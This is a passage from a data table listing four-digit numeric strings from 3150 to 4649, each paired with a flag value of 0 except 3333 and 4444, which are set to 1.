}, { "3150", 0 }, { "3151", 0 }, { "3152", 0 }, { "3153", 0 }, { "3154", 0 }, { "3155", 0 }, { "3156", 0 }, { "3157", 0 }, { "3158", 0 }, { "3159", 0 }, { "3160", 0 }, { "3161", 0 }, { "3162", 0 }, { "3163", 0 }, { "3164", 0 }, { "3165", 0 }, { "3166", 0 }, { "3167", 0 }, { "3168", 0 }, { "3169", 0 }, { "3170", 0 }, { "3171", 0 }, { "3172", 0 }, { "3173", 0 }, { "3174", 0 }, { "3175", 0 }, { "3176", 0 }, { "3177", 0 }, { "3178", 0 }, { "3179", 0 }, { "3180", 0 }, { "3181", 0 }, { "3182", 0 }, { "3183", 0 }, { "3184", 0 }, { "3185", 0 }, { "3186", 0 }, { "3187", 0 }, { "3188", 0 }, { "3189", 0 }, { "3190", 0 }, { "3191", 0 }, { "3192", 0 }, { "3193", 0 }, { "3194", 0 }, { "3195", 0 }, { "3196", 0 }, { "3197", 0 }, { "3198", 0 }, { "3199", 0 }, { "3200", 0 }, { "3201", 0 }, { "3202", 0 }, { "3203", 0 }, { "3204", 0 }, { "3205", 0 }, { "3206", 0 }, { "3207", 0 }, { "3208", 0 }, { "3209", 0 }, { "3210", 0 }, { "3211", 0 }, { "3212", 0 }, { "3213", 0 }, { "3214", 0 }, { "3215", 0 }, { "3216", 0 }, { "3217", 0 }, { "3218", 0 }, { "3219", 0 }, { "3220", 0 }, { "3221", 0 }, { "3222", 0 }, { "3223", 0 }, { "3224", 0 }, { "3225", 0 }, { "3226", 0 }, { "3227", 0 }, { "3228", 0 }, { "3229", 0 }, { "3230", 0 }, { "3231", 0 }, { "3232", 0 }, { "3233", 0 }, { "3234", 0 }, { "3235", 0 }, { "3236", 0 }, { "3237", 0 }, { "3238", 0 }, { "3239", 0 }, { "3240", 0 }, { "3241", 0 }, { "3242", 0 }, { "3243", 0 }, { "3244", 0 }, { "3245", 0 }, { "3246", 0 }, { "3247", 0 }, { "3248", 0 }, { "3249", 0 }, { "3250", 0 }, { "3251", 0 }, { "3252", 0 }, { "3253", 0 }, { "3254", 0 }, { "3255", 0 }, { "3256", 0 }, { "3257", 0 }, { "3258", 0 }, { "3259", 0 }, { "3260", 0 }, { "3261", 0 }, { "3262", 0 }, { "3263", 0 }, { "3264", 0 }, { "3265", 0 }, { "3266", 0 }, { "3267", 0 }, { "3268", 0 }, { "3269", 0 }, { "3270", 0 }, { "3271", 0 }, { "3272", 0 }, { "3273", 0 }, { "3274", 0 }, { "3275", 0 }, { "3276", 0 }, { "3277", 0 }, { "3278", 0 }, { "3279", 0 }, { "3280", 0 }, { "3281", 0 }, { "3282", 0 }, { "3283", 0 }, { "3284", 0 }, { "3285", 0 }, { "3286", 0 }, { "3287", 0 }, { "3288", 0 }, { "3289", 0 }, { "3290", 0 }, { "3291", 0 }, { "3292", 0 }, { "3293", 0 }, { "3294", 0 }, { "3295", 0 }, { "3296", 0 }, { "3297", 0 }, { "3298", 0 }, { "3299", 0 }, { "3300", 0 }, { "3301", 0 }, { "3302", 0 }, { "3303", 0 }, { "3304", 0 }, { "3305", 0 }, { "3306", 0 }, { "3307", 0 }, { "3308", 0 }, { "3309", 0 }, { "3310", 0 }, { "3311", 0 }, { "3312", 0 }, { "3313", 0 }, { "3314", 0 }, { "3315", 0 }, { "3316", 0 }, { "3317", 0 }, { "3318", 0 }, { "3319", 0 }, { "3320", 0 }, { "3321", 0 }, { "3322", 0 }, { "3323", 0 }, { "3324", 0 }, { "3325", 0 }, { "3326", 0 }, { "3327", 0 }, { "3328", 0 }, { "3329", 0 }, { "3330", 0 }, { "3331", 0 }, { "3332", 0 }, { "3333", 1 }, { "3334", 0 }, { "3335", 0 }, { "3336", 0 }, { "3337", 0 }, { "3338", 0 }, { "3339", 0 }, { "3340", 0 }, { "3341", 0 }, { "3342", 0 }, { "3343", 0 }, { "3344", 0 }, { "3345", 0 }, { "3346", 0 }, { "3347", 0 }, { "3348", 0 }, { "3349", 0 }, { "3350", 0 }, { "3351", 0 }, { "3352", 0 }, { "3353", 0 }, { "3354", 0 }, { "3355", 0 }, { "3356", 0 }, { "3357", 0 }, { "3358", 0 }, { "3359", 0 }, { "3360", 0 }, { "3361", 0 }, { "3362", 0 }, { "3363", 0 }, { "3364", 0 }, { "3365", 0 }, { "3366", 0 }, { "3367", 0 }, { "3368", 0 }, { "3369", 0 }, { "3370", 0 }, { "3371", 0 }, { "3372", 0 }, { "3373", 0 }, { "3374", 0 }, { "3375", 0 }, { "3376", 0 }, { "3377", 0 }, { "3378", 0 }, { "3379", 0 }, { "3380", 0 }, { "3381", 0 }, { "3382", 0 }, { "3383", 0 }, { "3384", 0 }, { "3385", 0 }, { "3386", 0 }, { "3387", 0 }, { "3388", 0 }, { "3389", 0 }, { "3390", 0 }, { "3391", 0 }, { "3392", 0 }, { "3393", 0 }, { "3394", 0 }, { "3395", 0 }, { "3396", 0 }, { "3397", 0 }, { "3398", 0 }, { "3399", 0 }, { "3400", 0 }, { "3401", 0 }, { "3402", 0 }, { "3403", 0 }, { "3404", 0 }, { "3405", 0 }, { "3406", 0 }, { "3407", 0 }, { "3408", 0 }, { "3409", 0 }, { "3410", 0 }, { "3411", 0 }, { "3412", 0 }, { "3413", 0 }, { "3414", 0 }, { "3415", 0 }, { "3416", 0 }, { "3417", 0 }, { "3418", 0 }, { "3419", 0 }, { "3420", 0 }, { "3421", 0 }, { "3422", 0 }, { "3423", 0 }, { "3424", 0 }, { "3425", 0 }, { "3426", 0 }, { "3427", 0 }, { "3428", 0 }, { "3429", 0 }, { "3430", 0 }, { "3431", 0 }, { "3432", 0 }, { "3433", 0 }, { "3434", 0 }, { "3435", 0 }, { "3436", 0 }, { "3437", 0 }, { "3438", 0 }, { "3439", 0 }, { "3440", 0 }, { "3441", 0 }, { "3442", 0 }, { "3443", 0 }, { "3444", 0 }, { "3445", 0 }, { "3446", 0 }, { "3447", 0 }, { "3448", 0 }, { "3449", 0 }, { "3450", 0 }, { "3451", 0 }, { "3452", 0 }, { "3453", 0 }, { "3454", 0 }, { "3455", 0 }, { "3456", 0 }, { "3457", 0 }, { "3458", 0 }, { "3459", 0 }, { "3460", 0 }, { "3461", 0 }, { "3462", 0 }, { "3463", 0 }, { "3464", 0 }, { "3465", 0 }, { "3466", 0 }, { "3467", 0 }, { "3468", 0 }, { "3469", 0 }, { "3470", 0 }, { "3471", 0 }, { "3472", 0 }, { "3473", 0 }, { "3474", 0 }, { "3475", 0 }, { "3476", 0 }, { "3477", 0 }, { "3478", 0 }, { "3479", 0 }, { "3480", 0 }, { "3481", 0 }, { "3482", 0 }, { "3483", 0 }, { "3484", 0 }, { "3485", 0 }, { "3486", 0 }, { "3487", 0 }, { "3488", 0 }, { "3489", 0 }, { "3490", 0 }, { "3491", 0 }, { "3492", 0 }, { "3493", 0 }, { "3494", 0 }, { "3495", 0 }, { "3496", 0 }, { "3497", 0 }, { "3498", 0 }, { "3499", 0 }, { "3500", 0 }, { "3501", 0 }, { "3502", 0 }, { "3503", 0 }, { "3504", 0 }, { "3505", 0 }, { "3506", 0 }, { "3507", 0 }, { "3508", 0 }, { "3509", 0 }, { "3510", 0 }, { "3511", 0 }, { "3512", 0 }, { "3513", 0 }, { "3514", 0 }, { "3515", 0 }, { "3516", 0 }, { "3517", 0 }, { "3518", 0 }, { "3519", 0 }, { "3520", 0 }, { "3521", 0 }, { "3522", 0 }, { "3523", 0 }, { "3524", 0 }, { "3525", 0 }, { "3526", 0 }, { "3527", 0 }, { "3528", 0 }, { "3529", 0 }, { "3530", 0 }, { "3531", 0 }, { "3532", 0 }, { "3533", 0 }, { "3534", 0 }, { "3535", 0 }, { "3536", 0 }, { "3537", 0 }, { "3538", 0 }, { "3539", 0 }, { "3540", 0 }, { "3541", 0 }, { "3542", 0 }, { "3543", 0 }, { "3544", 0 }, { "3545", 0 }, { "3546", 0 }, { "3547", 0 }, { "3548", 0 }, { "3549", 0 }, { "3550", 0 }, { "3551", 0 }, { "3552", 0 }, { "3553", 0 }, { "3554", 0 }, { "3555", 0 }, { "3556", 0 }, { "3557", 0 }, { "3558", 0 }, { "3559", 0 }, { "3560", 0 }, { "3561", 0 }, { "3562", 0 }, { "3563", 0 }, { "3564", 0 }, { "3565", 0 }, { "3566", 0 }, { "3567", 0 }, { "3568", 0 }, { "3569", 0 }, { "3570", 0 }, { "3571", 0 }, { "3572", 0 }, { "3573", 0 }, { "3574", 0 }, { "3575", 0 }, { "3576", 0 }, { "3577", 0 }, { "3578", 0 }, { "3579", 0 }, { "3580", 0 }, { "3581", 0 }, { "3582", 0 }, { "3583", 0 }, { "3584", 0 }, { "3585", 0 }, { "3586", 0 }, { "3587", 0 }, { "3588", 0 }, { "3589", 0 }, { "3590", 0 }, { "3591", 0 }, { "3592", 0 }, { "3593", 0 }, { "3594", 0 }, { "3595", 0 }, { "3596", 0 }, { "3597", 0 }, { "3598", 0 }, { "3599", 0 }, { "3600", 0 }, { "3601", 0 }, { "3602", 0 }, { "3603", 0 }, { "3604", 0 }, { "3605", 0 }, { "3606", 0 }, { "3607", 0 }, { "3608", 0 }, { "3609", 0 }, { "3610", 0 }, { "3611", 0 }, { "3612", 0 }, { "3613", 0 }, { "3614", 0 }, { "3615", 0 }, { "3616", 0 }, { "3617", 0 }, { "3618", 0 }, { "3619", 0 }, { "3620", 0 }, { "3621", 0 }, { "3622", 0 }, { "3623", 0 }, { "3624", 0 }, { "3625", 0 }, { "3626", 0 }, { "3627", 0 }, { "3628", 0 }, { "3629", 0 }, { "3630", 0 }, { "3631", 0 }, { "3632", 0 }, { "3633", 0 }, { "3634", 0 }, { "3635", 0 }, { "3636", 0 }, { "3637", 0 }, { "3638", 0 }, { "3639", 0 }, { "3640", 0 }, { "3641", 0 }, { "3642", 0 }, { "3643", 0 }, { "3644", 0 }, { "3645", 0 }, { "3646", 0 }, { "3647", 0 }, { "3648", 0 }, { "3649", 0 }, { "3650", 0 }, { "3651", 0 }, { "3652", 0 }, { "3653", 0 }, { "3654", 0 }, { "3655", 0 }, { "3656", 0 }, { "3657", 0 }, { "3658", 0 }, { "3659", 0 }, { "3660", 0 }, { "3661", 0 }, { "3662", 0 }, { "3663", 0 }, { "3664", 0 }, { "3665", 0 }, { "3666", 0 }, { "3667", 0 }, { "3668", 0 }, { "3669", 0 }, { "3670", 0 }, { "3671", 0 }, { "3672", 0 }, { "3673", 0 }, { "3674", 0 }, { "3675", 0 }, { "3676", 0 }, { "3677", 0 }, { "3678", 0 }, { "3679", 0 }, { "3680", 0 }, { "3681", 0 }, { "3682", 0 }, { "3683", 0 }, { "3684", 0 }, { "3685", 0 }, { "3686", 0 }, { "3687", 0 }, { "3688", 0 }, { "3689", 0 }, { "3690", 0 }, { "3691", 0 }, { "3692", 0 }, { "3693", 0 }, { "3694", 0 }, { "3695", 0 }, { "3696", 0 }, { "3697", 0 }, { "3698", 0 }, { "3699", 0 }, { "3700", 0 }, { "3701", 0 }, { "3702", 0 }, { "3703", 0 }, { "3704", 0 }, { "3705", 0 }, { "3706", 0 }, { "3707", 0 }, { "3708", 0 }, { "3709", 0 }, { "3710", 0 }, { "3711", 0 }, { "3712", 0 }, { "3713", 0 }, { "3714", 0 }, { "3715", 0 }, { "3716", 0 }, { "3717", 0 }, { "3718", 0 }, { "3719", 0 }, { "3720", 0 }, { "3721", 0 }, { "3722", 0 }, { "3723", 0 }, { "3724", 0 }, { "3725", 0 }, { "3726", 0 }, { "3727", 0 }, { "3728", 0 }, { "3729", 0 }, { "3730", 0 }, { "3731", 0 }, { "3732", 0 }, { "3733", 0 }, { "3734", 0 }, { "3735", 0 }, { "3736", 0 }, { "3737", 0 }, { "3738", 0 }, { "3739", 0 }, { "3740", 0 }, { "3741", 0 }, { "3742", 0 }, { "3743", 0 }, { "3744", 0 }, { "3745", 0 }, { "3746", 0 }, { "3747", 0 }, { "3748", 0 }, { "3749", 0 }, { "3750", 0 }, { "3751", 0 }, { "3752", 0 }, { "3753", 0 }, { "3754", 0 }, { "3755", 0 }, { "3756", 0 }, { "3757", 0 }, { "3758", 0 }, { "3759", 0 }, { "3760", 0 }, { "3761", 0 }, { "3762", 0 }, { "3763", 0 }, { "3764", 0 }, { "3765", 0 }, { "3766", 0 }, { "3767", 0 }, { "3768", 0 }, { "3769", 0 }, { "3770", 0 }, { "3771", 0 }, { "3772", 0 }, { "3773", 0 }, { "3774", 0 }, { "3775", 0 }, { "3776", 0 }, { "3777", 0 }, { "3778", 0 }, { "3779", 0 }, { "3780", 0 }, { "3781", 0 }, { "3782", 0 }, { "3783", 0 }, { "3784", 0 }, { "3785", 0 }, { "3786", 0 }, { "3787", 0 }, { "3788", 0 }, { "3789", 0 }, { "3790", 0 }, { "3791", 0 }, { "3792", 0 }, { "3793", 0 }, { "3794", 0 }, { "3795", 0 }, { "3796", 0 }, { "3797", 0 }, { "3798", 0 }, { "3799", 0 }, { "3800", 0 }, { "3801", 0 }, { "3802", 0 }, { "3803", 0 }, { "3804", 0 }, { "3805", 0 }, { "3806", 0 }, { "3807", 0 }, { "3808", 0 }, { "3809", 0 }, { "3810", 0 }, { "3811", 0 }, { "3812", 0 }, { "3813", 0 }, { "3814", 0 }, { "3815", 0 }, { "3816", 0 }, { "3817", 0 }, { "3818", 0 }, { "3819", 0 }, { "3820", 0 }, { "3821", 0 }, { "3822", 0 }, { "3823", 0 }, { "3824", 0 }, { "3825", 0 }, { "3826", 0 }, { "3827", 0 }, { "3828", 0 }, { "3829", 0 }, { "3830", 0 }, { "3831", 0 }, { "3832", 0 }, { "3833", 0 }, { "3834", 0 }, { "3835", 0 }, { "3836", 0 }, { "3837", 0 }, { "3838", 0 }, { "3839", 0 }, { "3840", 0 }, { "3841", 0 }, { "3842", 0 }, { "3843", 0 }, { "3844", 0 }, { "3845", 0 }, { "3846", 0 }, { "3847", 0 }, { "3848", 0 }, { "3849", 0 }, { "3850", 0 }, { "3851", 0 }, { "3852", 0 }, { "3853", 0 }, { "3854", 0 }, { "3855", 0 }, { "3856", 0 }, { "3857", 0 }, { "3858", 0 }, { "3859", 0 }, { "3860", 0 }, { "3861", 0 }, { "3862", 0 }, { "3863", 0 }, { "3864", 0 }, { "3865", 0 }, { "3866", 0 }, { "3867", 0 }, { "3868", 0 }, { "3869", 0 }, { "3870", 0 }, { "3871", 0 }, { "3872", 0 }, { "3873", 0 }, { "3874", 0 }, { "3875", 0 }, { "3876", 0 }, { "3877", 0 }, { "3878", 0 }, { "3879", 0 }, { "3880", 0 }, { "3881", 0 }, { "3882", 0 }, { "3883", 0 }, { "3884", 0 }, { "3885", 0 }, { "3886", 0 }, { "3887", 0 }, { "3888", 0 }, { "3889", 0 }, { "3890", 0 }, { "3891", 0 }, { "3892", 0 }, { "3893", 0 }, { "3894", 0 }, { "3895", 0 }, { "3896", 0 }, { "3897", 0 }, { "3898", 0 }, { "3899", 0 }, { "3900", 0 }, { "3901", 0 }, { "3902", 0 }, { "3903", 0 }, { "3904", 0 }, { "3905", 0 }, { "3906", 0 }, { "3907", 0 }, { "3908", 0 }, { "3909", 0 }, { "3910", 0 }, { "3911", 0 }, { "3912", 0 }, { "3913", 0 }, { "3914", 0 }, { "3915", 0 }, { "3916", 0 }, { "3917", 0 }, { "3918", 0 }, { "3919", 0 }, { "3920", 0 }, { "3921", 0 }, { "3922", 0 }, { "3923", 0 }, { "3924", 0 }, { "3925", 0 }, { "3926", 0 }, { "3927", 0 }, { "3928", 0 }, { "3929", 0 }, { "3930", 0 }, { "3931", 0 }, { "3932", 0 }, { "3933", 0 }, { "3934", 0 }, { "3935", 0 }, { "3936", 0 }, { "3937", 0 }, { "3938", 0 }, { "3939", 0 }, { "3940", 0 }, { "3941", 0 }, { "3942", 0 }, { "3943", 0 }, { "3944", 0 }, { "3945", 0 }, { "3946", 0 }, { "3947", 0 }, { "3948", 0 }, { "3949", 0 }, { "3950", 0 }, { "3951", 0 }, { "3952", 0 }, { "3953", 0 }, { "3954", 0 }, { "3955", 0 }, { "3956", 0 }, { "3957", 0 }, { "3958", 0 }, { "3959", 0 }, { "3960", 0 }, { "3961", 0 }, { "3962", 0 }, { "3963", 0 }, { "3964", 0 }, { "3965", 0 }, { "3966", 0 }, { "3967", 0 }, { "3968", 0 }, { "3969", 0 }, { "3970", 0 }, { "3971", 0 }, { "3972", 0 }, { "3973", 0 }, { "3974", 0 }, { "3975", 0 }, { "3976", 0 }, { "3977", 0 }, { "3978", 0 }, { "3979", 0 }, { "3980", 0 }, { "3981", 0 }, { "3982", 0 }, { "3983", 0 }, { "3984", 0 }, { "3985", 0 }, { "3986", 0 }, { "3987", 0 }, { "3988", 0 }, { "3989", 0 }, { "3990", 0 }, { "3991", 0 }, { "3992", 0 }, { "3993", 0 }, { "3994", 0 }, { "3995", 0 }, { "3996", 0 }, { "3997", 0 }, { "3998", 0 }, { "3999", 0 }, { "4000", 0 }, { "4001", 0 }, { "4002", 0 }, { "4003", 0 }, { "4004", 0 }, { "4005", 0 }, { "4006", 0 }, { "4007", 0 }, { "4008", 0 }, { "4009", 0 }, { "4010", 0 }, { "4011", 0 }, { "4012", 0 }, { "4013", 0 }, { "4014", 0 }, { "4015", 0 }, { "4016", 0 }, { "4017", 0 }, { "4018", 0 }, { "4019", 0 }, { "4020", 0 }, { "4021", 0 }, { "4022", 0 }, { "4023", 0 }, { "4024", 0 }, { "4025", 0 }, { "4026", 0 }, { "4027", 0 }, { "4028", 0 }, { "4029", 0 }, { "4030", 0 }, { "4031", 0 }, { "4032", 0 }, { "4033", 0 }, { "4034", 0 }, { "4035", 0 }, { "4036", 0 }, { "4037", 0 }, { "4038", 0 }, { "4039", 0 }, { "4040", 0 }, { "4041", 0 }, { "4042", 0 }, { "4043", 0 }, { "4044", 0 }, { "4045", 0 }, { "4046", 0 }, { "4047", 0 }, { "4048", 0 }, { "4049", 0 }, { "4050", 0 }, { "4051", 0 }, { "4052", 0 }, { "4053", 0 }, { "4054", 0 }, { "4055", 0 }, { "4056", 0 }, { "4057", 0 }, { "4058", 0 }, { "4059", 0 }, { "4060", 0 }, { "4061", 0 }, { "4062", 0 }, { "4063", 0 }, { "4064", 0 }, { "4065", 0 }, { "4066", 0 }, { "4067", 0 }, { "4068", 0 }, { "4069", 0 }, { "4070", 0 }, { "4071", 0 }, { "4072", 0 }, { "4073", 0 }, { "4074", 0 }, { "4075", 0 }, { "4076", 0 }, { "4077", 0 }, { "4078", 0 }, { "4079", 0 }, { "4080", 0 }, { "4081", 0 }, { "4082", 0 }, { "4083", 0 }, { "4084", 0 }, { "4085", 0 }, { "4086", 0 }, { "4087", 0 }, { "4088", 0 }, { "4089", 0 }, { "4090", 0 }, { "4091", 0 }, { "4092", 0 }, { "4093", 0 }, { "4094", 0 }, { "4095", 0 }, { "4096", 0 }, { "4097", 0 }, { "4098", 0 }, { "4099", 0 }, { "4100", 0 }, { "4101", 0 }, { "4102", 0 }, { "4103", 0 }, { "4104", 0 }, { "4105", 0 }, { "4106", 0 }, { "4107", 0 }, { "4108", 0 }, { "4109", 0 }, { "4110", 0 }, { "4111", 0 }, { "4112", 0 }, { "4113", 0 }, { "4114", 0 }, { "4115", 0 }, { "4116", 0 }, { "4117", 0 }, { "4118", 0 }, { "4119", 0 }, { "4120", 0 }, { "4121", 0 }, { "4122", 0 }, { "4123", 0 }, { "4124", 0 }, { "4125", 0 }, { "4126", 0 }, { "4127", 0 }, { "4128", 0 }, { "4129", 0 }, { "4130", 0 }, { "4131", 0 }, { "4132", 0 }, { "4133", 0 }, { "4134", 0 }, { "4135", 0 }, { "4136", 0 }, { "4137", 0 }, { "4138", 0 }, { "4139", 0 }, { "4140", 0 }, { "4141", 0 }, { "4142", 0 }, { "4143", 0 }, { "4144", 0 }, { "4145", 0 }, { "4146", 0 }, { "4147", 0 }, { "4148", 0 }, { "4149", 0 }, { "4150", 0 }, { "4151", 0 }, { "4152", 0 }, { "4153", 0 }, { "4154", 0 }, { "4155", 0 }, { "4156", 0 }, { "4157", 0 }, { "4158", 0 }, { "4159", 0 }, { "4160", 0 }, { "4161", 0 }, { "4162", 0 }, { "4163", 0 }, { "4164", 0 }, { "4165", 0 }, { "4166", 0 }, { "4167", 0 }, { "4168", 0 }, { "4169", 0 }, { "4170", 0 }, { "4171", 0 }, { "4172", 0 }, { "4173", 0 }, { "4174", 0 }, { "4175", 0 }, { "4176", 0 }, { "4177", 0 }, { "4178", 0 }, { "4179", 0 }, { "4180", 0 }, { "4181", 0 }, { "4182", 0 }, { "4183", 0 }, { "4184", 0 }, { "4185", 0 }, { "4186", 0 }, { "4187", 0 }, { "4188", 0 }, { "4189", 0 }, { "4190", 0 }, { "4191", 0 }, { "4192", 0 }, { "4193", 0 }, { "4194", 0 }, { "4195", 0 }, { "4196", 0 }, { "4197", 0 }, { "4198", 0 }, { "4199", 0 }, { "4200", 0 }, { "4201", 0 }, { "4202", 0 }, { "4203", 0 }, { "4204", 0 }, { "4205", 0 }, { "4206", 0 }, { "4207", 0 }, { "4208", 0 }, { "4209", 0 }, { "4210", 0 }, { "4211", 0 }, { "4212", 0 }, { "4213", 0 }, { "4214", 0 }, { "4215", 0 }, { "4216", 0 }, { "4217", 0 }, { "4218", 0 }, { "4219", 0 }, { "4220", 0 }, { "4221", 0 }, { "4222", 0 }, { "4223", 0 }, { "4224", 0 }, { "4225", 0 }, { "4226", 0 }, { "4227", 0 }, { "4228", 0 }, { "4229", 0 }, { "4230", 0 }, { "4231", 0 }, { "4232", 0 }, { "4233", 0 }, { "4234", 0 }, { "4235", 0 }, { "4236", 0 }, { "4237", 0 }, { "4238", 0 }, { "4239", 0 }, { "4240", 0 }, { "4241", 0 }, { "4242", 0 }, { "4243", 0 }, { "4244", 0 }, { "4245", 0 }, { "4246", 0 }, { "4247", 0 }, { "4248", 0 }, { "4249", 0 }, { "4250", 0 }, { "4251", 0 }, { "4252", 0 }, { "4253", 0 }, { "4254", 0 }, { "4255", 0 }, { "4256", 0 }, { "4257", 0 }, { "4258", 0 }, { "4259", 0 }, { "4260", 0 }, { "4261", 0 }, { "4262", 0 }, { "4263", 0 }, { "4264", 0 }, { "4265", 0 }, { "4266", 0 }, { "4267", 0 }, { "4268", 0 }, { "4269", 0 }, { "4270", 0 }, { "4271", 0 }, { "4272", 0 }, { "4273", 0 }, { "4274", 0 }, { "4275", 0 }, { "4276", 0 }, { "4277", 0 }, { "4278", 0 }, { "4279", 0 }, { "4280", 0 }, { "4281", 0 }, { "4282", 0 }, { "4283", 0 }, { "4284", 0 }, { "4285", 0 }, { "4286", 0 }, { "4287", 0 }, { "4288", 0 }, { "4289", 0 }, { "4290", 0 }, { "4291", 0 }, { "4292", 0 }, { "4293", 0 }, { "4294", 0 }, { "4295", 0 }, { "4296", 0 }, { "4297", 0 }, { "4298", 0 }, { "4299", 0 }, { "4300", 0 }, { "4301", 0 }, { "4302", 0 }, { "4303", 0 }, { "4304", 0 }, { "4305", 0 }, { "4306", 0 }, { "4307", 0 }, { "4308", 0 }, { "4309", 0 }, { "4310", 0 }, { "4311", 0 }, { "4312", 0 }, { "4313", 0 }, { "4314", 0 }, { "4315", 0 }, { "4316", 0 }, { "4317", 0 }, { "4318", 0 }, { "4319", 0 }, { "4320", 0 }, { "4321", 0 }, { "4322", 0 }, { "4323", 0 }, { "4324", 0 }, { "4325", 0 }, { "4326", 0 }, { "4327", 0 }, { "4328", 0 }, { "4329", 0 }, { "4330", 0 }, { "4331", 0 }, { "4332", 0 }, { "4333", 0 }, { "4334", 0 }, { "4335", 0 }, { "4336", 0 }, { "4337", 0 }, { "4338", 0 }, { "4339", 0 }, { "4340", 0 }, { "4341", 0 }, { "4342", 0 }, { "4343", 0 }, { "4344", 0 }, { "4345", 0 }, { "4346", 0 }, { "4347", 0 }, { "4348", 0 }, { "4349", 0 }, { "4350", 0 }, { "4351", 0 }, { "4352", 0 }, { "4353", 0 }, { "4354", 0 }, { "4355", 0 }, { "4356", 0 }, { "4357", 0 }, { "4358", 0 }, { "4359", 0 }, { "4360", 0 }, { "4361", 0 }, { "4362", 0 }, { "4363", 0 }, { "4364", 0 }, { "4365", 0 }, { "4366", 0 }, { "4367", 0 }, { "4368", 0 }, { "4369", 0 }, { "4370", 0 }, { "4371", 0 }, { "4372", 0 }, { "4373", 0 }, { "4374", 0 }, { "4375", 0 }, { "4376", 0 }, { "4377", 0 }, { "4378", 0 }, { "4379", 0 }, { "4380", 0 }, { "4381", 0 }, { "4382", 0 }, { "4383", 0 }, { "4384", 0 }, { "4385", 0 }, { "4386", 0 }, { "4387", 0 }, { "4388", 0 }, { "4389", 0 }, { "4390", 0 }, { "4391", 0 }, { "4392", 0 }, { "4393", 0 }, { "4394", 0 }, { "4395", 0 }, { "4396", 0 }, { "4397", 0 }, { "4398", 0 }, { "4399", 0 }, { "4400", 0 }, { "4401", 0 }, { "4402", 0 }, { "4403", 0 }, { "4404", 0 }, { "4405", 0 }, { "4406", 0 }, { "4407", 0 }, { "4408", 0 }, { "4409", 0 }, { "4410", 0 }, { "4411", 0 }, { "4412", 0 }, { "4413", 0 }, { "4414", 0 }, { "4415", 0 }, { "4416", 0 }, { "4417", 0 }, { "4418", 0 }, { "4419", 0 }, { "4420", 0 }, { "4421", 0 }, { "4422", 0 }, { "4423", 0 }, { "4424", 0 }, { "4425", 0 }, { "4426", 0 }, { "4427", 0 }, { "4428", 0 }, { "4429", 0 }, { "4430", 0 }, { "4431", 0 }, { "4432", 0 }, { "4433", 0 }, { "4434", 0 }, { "4435", 0 }, { "4436", 0 }, { "4437", 0 }, { "4438", 0 }, { "4439", 0 }, { "4440", 0 }, { "4441", 0 }, { "4442", 0 }, { "4443", 0 }, { "4444", 1 }, { "4445", 0 }, { "4446", 0 }, { "4447", 0 }, { "4448", 0 }, { "4449", 0 }, { "4450", 0 }, { "4451", 0 }, { "4452", 0 }, { "4453", 0 }, { "4454", 0 }, { "4455", 0 }, { "4456", 0 }, { "4457", 0 }, { "4458", 0 }, { "4459", 0 }, { "4460", 0 }, { "4461", 0 }, { "4462", 0 }, { "4463", 0 }, { "4464", 0 }, { "4465", 0 }, { "4466", 0 }, { "4467", 0 }, { "4468", 0 }, { "4469", 0 }, { "4470", 0 }, { "4471", 0 }, { "4472", 0 }, { "4473", 0 }, { "4474", 0 }, { "4475", 0 }, { "4476", 0 }, { "4477", 0 }, { "4478", 0 }, { "4479", 0 }, { "4480", 0 }, { "4481", 0 }, { "4482", 0 }, { "4483", 0 }, { "4484", 0 }, { "4485", 0 }, { "4486", 0 }, { "4487", 0 }, { "4488", 0 }, { "4489", 0 }, { "4490", 0 }, { "4491", 0 }, { "4492", 0 }, { "4493", 0 }, { "4494", 0 }, { "4495", 0 }, { "4496", 0 }, { "4497", 0 }, { "4498", 0 }, { "4499", 0 }, { "4500", 0 }, { "4501", 0 }, { "4502", 0 }, { "4503", 0 }, { "4504", 0 }, { "4505", 0 }, { "4506", 0 }, { "4507", 0 }, { "4508", 0 }, { "4509", 0 }, { "4510", 0 }, { "4511", 0 }, { "4512", 0 }, { "4513", 0 }, { "4514", 0 }, { "4515", 0 }, { "4516", 0 }, { "4517", 0 }, { "4518", 0 }, { "4519", 0 }, { "4520", 0 }, { "4521", 0 }, { "4522", 0 }, { "4523", 0 }, { "4524", 0 }, { "4525", 0 }, { "4526", 0 }, { "4527", 0 }, { "4528", 0 }, { "4529", 0 }, { "4530", 0 }, { "4531", 0 }, { "4532", 0 }, { "4533", 0 }, { "4534", 0 }, { "4535", 0 }, { "4536", 0 }, { "4537", 0 }, { "4538", 0 }, { "4539", 0 }, { "4540", 0 }, { "4541", 0 }, { "4542", 0 }, { "4543", 0 }, { "4544", 0 }, { "4545", 0 }, { "4546", 0 }, { "4547", 0 }, { "4548", 0 }, { "4549", 0 }, { "4550", 0 }, { "4551", 0 }, { "4552", 0 }, { "4553", 0 }, { "4554", 0 }, { "4555", 0 }, { "4556", 0 }, { "4557", 0 }, { "4558", 0 }, { "4559", 0 }, { "4560", 0 }, { "4561", 0 }, { "4562", 0 }, { "4563", 0 }, { "4564", 0 }, { "4565", 0 }, { "4566", 0 }, { "4567", 0 }, { "4568", 0 }, { "4569", 0 }, { "4570", 0 }, { "4571", 0 }, { "4572", 0 }, { "4573", 0 }, { "4574", 0 }, { "4575", 0 }, { "4576", 0 }, { "4577", 0 }, { "4578", 0 }, { "4579", 0 }, { "4580", 0 }, { "4581", 0 }, { "4582", 0 }, { "4583", 0 }, { "4584", 0 }, { "4585", 0 }, { "4586", 0 }, { "4587", 0 }, { "4588", 0 }, { "4589", 0 }, { "4590", 0 }, { "4591", 0 }, { "4592", 0 }, { "4593", 0 }, { "4594", 0 }, { "4595", 0 }, { "4596", 0 }, { "4597", 0 }, { "4598", 0 }, { "4599", 0 }, { "4600", 0 }, { "4601", 0 }, { "4602", 0 }, { "4603", 0 }, { "4604", 0 }, { "4605", 0 }, { "4606", 0 }, { "4607", 0 }, { "4608", 0 }, { "4609", 0 }, { "4610", 0 }, { "4611", 0 }, { "4612", 0 }, { "4613", 0 }, { "4614", 0 }, { "4615", 0 }, { "4616", 0 }, { "4617", 0 }, { "4618", 0 }, { "4619", 0 }, { "4620", 0 }, { "4621", 0 }, { "4622", 0 }, { "4623", 0 }, { "4624", 0 }, { "4625", 0 }, { "4626", 0 }, { "4627", 0 }, { "4628", 0 }, { "4629", 0 }, { "4630", 0 }, { "4631", 0 }, { "4632", 0 }, { "4633", 0 }, { "4634", 0 }, { "4635", 0 }, { "4636", 0 }, { "4637", 0 }, { "4638", 0 }, { "4639", 0 }, { "4640", 0 }, { "4641", 0 }, { "4642", 0 }, { "4643", 0 }, { "4644", 0 }, { "4645", 0 }, { "4646", 0 }, { "4647", 0 }, { "4648", 0 }, { "4649", 0 